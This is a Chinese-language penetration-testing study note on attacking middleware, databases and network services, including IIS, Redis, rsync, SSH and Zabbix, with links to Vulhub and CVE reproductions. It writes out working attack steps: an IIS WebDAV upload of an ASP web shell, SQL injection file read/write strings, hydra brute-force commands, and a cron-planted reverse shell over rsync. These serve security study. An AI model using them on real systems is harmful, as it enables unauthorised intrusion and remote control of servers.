服务攻防
服务攻防
一、中间件漏洞
author::web服务器、Web中间件和Web容器的区别
Vulhub - Docker-Compose file for vulnerability environment
中间件是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。他充当的功能是:将应用程序运行环境与操作系统隔离,从而实现应用程序开发者不必为更多系统问题忧虑,而直接关注该应用程序在解决问题上的能力 。容器就是中间件的一种。
1 IIS
1.1 PUT上传漏洞
WebDAV是一种基于 HTTP1.1的通信协议,扩展了方法,让应用程序可以直接对服务器操作,并支持文件 lock 和 unlock , 还支持文件的版本控制。
IIS6.0 PUT漏洞原因:
- IIS Server 在 Web 服务扩展中开启了 WebDAV。
- IIS 配置了可以写入的权限。
漏洞利用:
利用 OPTIONS 测试 WebDAV 是否开启
OPTIONS /
HOST:host_ip
成功返回包:
HTTP/1.1 200 OK
Allow: GET, HEAD, OPTIONS, TRACE
DAV: 1, 2
Content-Length: 0
失败返回包:
HTTP/1.1 501 Not Implemented
Content-Length: 311
Content-Type: text/html; charset=us-ascii利用 PUT 协议上传 <%eval request(“123”)%> 的 txt 文件
PUT /1.txt
......(构造包头)
<%eval request("123")%>利用 move 方法将扩展改成 asp(报错可以改成
shell.asp.;txt
,利用解析漏洞)MOVE /1.txt
HOST:host_ip
Destination:url/shell.asp
# 简单 OPTIONS 测试 WebDAV 是否开启的小工具 |
1.2 短文件名枚举漏洞
漏洞原理:
成因
例如文件中存在一个名为
backup-09df9a1s9d1ga9sdg1as.sql
的文件,此时只需要访问http://ip/backup~1.sql
就可以访问到。漏洞利用:设 IIS6.0,网站根目录存在backup698.txt:
- 访问
http://ip/a\*~1\*/.aspx
,返回400,说明不存在。- 访问
http://ip/b\*~1\*/.aspx
,返回404,说明存在。- 然后继续试
http://ip/ba\*~1\*/.aspx
,以此类推。- 判断出前六位之后,去除后面那个*号再测试一次。如果返回404表示是文件夹,400则是文件(因为*是通配符)
漏洞利用工具:IIS_shortname_Scanner
漏洞修复:
关闭NTFS对8.3文件名格式的支持:修改下列的注册列表值为1,然后重启。(此修改只能禁止NTFS对8.3文件名格式的支持,无法移除已经存在的文件的段文件名)
HKLM\STSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation
禁用ASP.NET:IIS管理器——Web服务扩展——ASP.NET禁用
禁止在url中用
"~"
以及其Unicode编码。
IIS 版本 | URL | 结果/错误信息 |
---|---|---|
IIS 6 | /valid*~1*/.aspx | HTTP 404-File not found |
IIS 6 | /Invalid*~1*/.aspx | HTTP 400-Bad Request |
IIS 5.x | /valid*~1* | HTTP 404-File not found |
IIS 5.x | /Invalid*~1* | HTTP 400-Bad Request |
IIS 7.x.NET.2(无出错处理) | /valid*~1*/ | 页面中包含“Error Code 0x00000000” |
IIS 7.x.NET.2(无出错处理) | /Invalid*~1*/ | 页面中包含“Error Code 0x80070002” |
1.3 HTTPS.sys
HTTP.SYS远程代码执行漏洞(MS15-034)_http.sys 远程代码执行漏洞(ms15-034)-CSDN博客
1.4 解析漏洞
IIS6.7:
- 文件名:a.asp;x.jpg:会将jpg作为asp被解析
- 目录名:a.asp/x.jpg:会将jpg作为asp被解析
IIS7.X:同Nginx
*2 JBoss
重要目录文件
未授权访问
3 Tomcat
Tomcat管理页面弱口令页面Getshell_tomcat弱口令字典-CSDN博客
(CVE-2020-1938)Apache Tomcat远程代码执行漏洞复现_cve-2020-1938复现-CSDN博客
*4 WebLogic
- 弱口令
5 Apache
5.1 解析漏洞
Apache文件解析漏洞(\x0A,.htaccess,多后缀)_\x0a php-CSDN博客
黑名单验证条件下,可以上传一个
x.php%0a
文件,绕过对php文件的检测。
6 Nginx
6.1 解析漏洞
nginx反向代理原理_nigax反向代理原理-CSDN博客
nginx反向代理:用一台代理服务器,代理真实服务器。用户访问时,不再是访问真实服务器,而是代理服务器。
解析漏洞:a.jpg/x.php:会将jpg作为php被解析
二、数据库漏洞
1 利用流程
利用流程:
- 判断服务开放:端口扫描、常见组合猜测(WAMP、LAMP)、信息来源(报错、CMS)
- 判断服务类型:数据库、文件传输、远程控制、数据通讯
- 判断利用方式:特性漏洞、未授权访问、弱口令爆破
2 高权限读写
MySQL:
- 读文件:
union select 1,load_file('d:/w.txt'),3 --+
- 写文件:
union select 1,'xxx',3 into outfile 'd:/w.txt' --+
- 安全配置:设置
secure-file-priv
后,将限定读取的文件位置。比如设置secure-file-priv=c:/
,此时将无法读取C盘以外的盘的内容。利用日志突破:突破secure_file_privPostgreSQL:
- 查询当前用户:
and 1=2 union select null,current_user,null,null
- 查询超级用户:
and 1=2 union select null,string_agg(username,','),null,null FROM pg_user WHERE usesuper IS TRUE
- 若当前用户等于超级用户查询,表明当前用户就是超级用户,就可以进行后续的读写文件。读写文件
3 未授权访问
定义:系统或应用程序在访问控制方面存在缺陷,导致未经授权的用户能够获取到未经授权的数据或执行未经授权的操作。
常见服务应用的安全测试:
- 配置不当-未授权访问
- 安全机制-特定安全漏洞
- 安全机制-弱口令爆破攻击
服务开放但检测不出端口:
- 处于内网
- 端口被修改
- 防火墙waf
Mysql:
Hadoop:
influxdb(端口:8086 8088):一款著名的时序数据库,其使用jwt作为鉴权方式。在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。空加密秘钥串。
H2 database(端口:20051):
定义:一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权,配置如下:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用:JNDI注入攻击
CouchDB(端口:5984):vulhub/couchdb/CVE-2017-12635/README.zh-cn.md at master · vulhub/vulhub (github.com)
ElasticSearch(端口:9200 9300):文件写入&CVE-2014-3120
Redis未授权访问条件:
#bind 127.0.0.1
:让非本地用户可以访问protected-mode no
:关闭安全检测- 没有设置密码
Redis自动化脚本:
- 工具:vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module (github.com)
- 介绍:Vulhub - Docker-Compose file for vulnerability environment
Redis最新沙箱绕过RCE CVE-2022-0543:
# Redis未授权访问利用IP地址执行 |
三、协议漏洞
1 弱口令
常见协议:
- FTP(21):文件传输协议
- RDP(22):Windows远程桌面协议
- SSH(3389):Linux安全外壳协议
hydra进行协议爆破:
- ftp爆破:
hydra -L <username> -P <password_dict> <IP> ftp -V
- ssh爆破:
hydra -l <username> -P <password_dict> <IP> ssh -V
- rdp爆破:
hydra -l <username> -P <password_dict> <IP> rdp -V
爆破后连接:
- ftp:
ftp://<IP>
,然后输入账号和密码- ssh:
ssh <username>@<IP>
- rdp:用rdp软件进行连接
2 rsync协议
定义:rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。实现文件的传输和数据库的同步,保证文件的结构同步。
测试命令开启:
rsync rsync://<IP>:<PORT>/
。回显表示开启。利用:
- 读取文件:
rsync rsync://<IP>:<PORT>/src/
- 下载文件:
rsync rsync://<IP>:<PORT>/src/etc/passwd ./
- 上传文件:
rsync -av passwd rsync://<IP>:<PORT>/src/tmp/passwd
Crontab命令时间格式:分、时、日、月、周、用户、命令
反弹Shell:
- 获取Crontab:
rsync rsync://<IP:PORT>/src/etc/crontab <my_path>
- 查看内容:发现:
17 * * * * root cd / && run-parts --report /etc/cron.hourly
。表明每小时的第17分钟会运行/etc/cron.hourly
,因此对这个文件进行修改。- 创建并修改文件:
touch shell
vim shell
/bin/bash -i >& /dev/tcp/<my_IP>/<my_port> 0>&1
(shell内容)chmod +x shell
- 上传文件:
rsync -av shell rsync://<IP>:<PORT>/src/etc/cron.hourly
- 等待反射:
nc -lvvp <my_port>
自动化测试:
- fofa搜索
port="873"
,然后将结果导出,将所有IP保存成ip_list.txt
。msfconsole
use auxiliary/scanner/rsync/modules_list
set rhosts file:/ip_list.txt
set rport 873
set thread 10
run
3 框架漏洞
ProFTPd:
定义:ProFTPd 是一个开源的 FTP 服务器软件,兼容 Unix 和类 Unix 系统。它可用于搭建 FTP 服务器,允许用户在计算机之间传输文件。 ProFTPd 采用模块化的架构,允许用户根据自己的需求添加功能和扩展性。
任意文件读写(CVE-2015-3306):t0kx/exploit-CVE-2015-3306
Openssh:
定义:OpenSSH 是一个用于安全远程登录和文件传输的软件套件,它使用 SSH 协议进行加密通信,提供了安全的远程管理和文件传输功能。
Heartbleed漏洞(CVE-2014-0160):Heartbleed漏洞(CVE-2014-0160)
- 用户枚举漏洞(CVE-2018-15473):OpenSSH用户枚举漏洞(CVE-2018-15473)分析
- 命令注入漏洞(CVE-2020-15778):CVE-2020-15778漏洞复现
libssh:
定义:libssh 是一个用于开发 SSH 客户端和服务器应用程序的开源库,它提供了一组 API,使开发人员能够在他们的应用程序中集成 SSH 功能,如安全的远程连接和文件传输。
身份验证绕过(CVE-2018-10933):CVE-2018-10933 (漏洞复现)
4 远程控制软件
向日葵:
- 工具:Mr-xn/sunlogin_rce: 向日葵 RCE
- 工具使用:
xrkRce.exe -h <IP> -t scan
xrkRce.exe -h <IP> -t rce -p <port> -c "ipconfig"
Vnc:
- 端口:5900
- 安全中有三种模式:Windows password(基于windows用户密码),VNC password(基于VNC软件密码),None(没密码)。
- 用客户端(VNC Viewer)去连接这台主机,并不用输入账号密码,就可以直接连接。fofa中搜:
app="VNC"&port="5900"
。有密码也可以在hydra中进行爆破,不用用户名。
<!-- Teamviewer钓鱼 --> |
5 监控平台
Zabbix:
- 定义:是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。默认端口:10051。为了更好的维护服务器,在蓝队的使用的比较多。
- 登录绕过漏洞复现(CVE-2022-23131) :【漏洞复现】CVE-2022-23131 Zabbix,后续可以在script中反弹shell然后执行。
- 其他不常见漏洞:CVE-2017-2824 、CVE-2020-11800
Kibana+Elassticsearch:
- Kibana定义:一个开源的数据可视化工具,它提供了一种直观的界面,帮助用户对 Elasticsearch 中的数据进行搜索、分析和可视化展示。默认端口5601。
- Elasticsearch定义:一个开源的分布式搜索和分析引擎,它用于存储和检索大规模数据,并提供了实时搜索和分析功能。Elasticsearch 被用于构建全文搜索引擎、日志分析系统和监控系统等应用。
- 远程代码执行(CVE-2019-7609):CVE-2019-7609:Kibana远程代码执行漏洞复现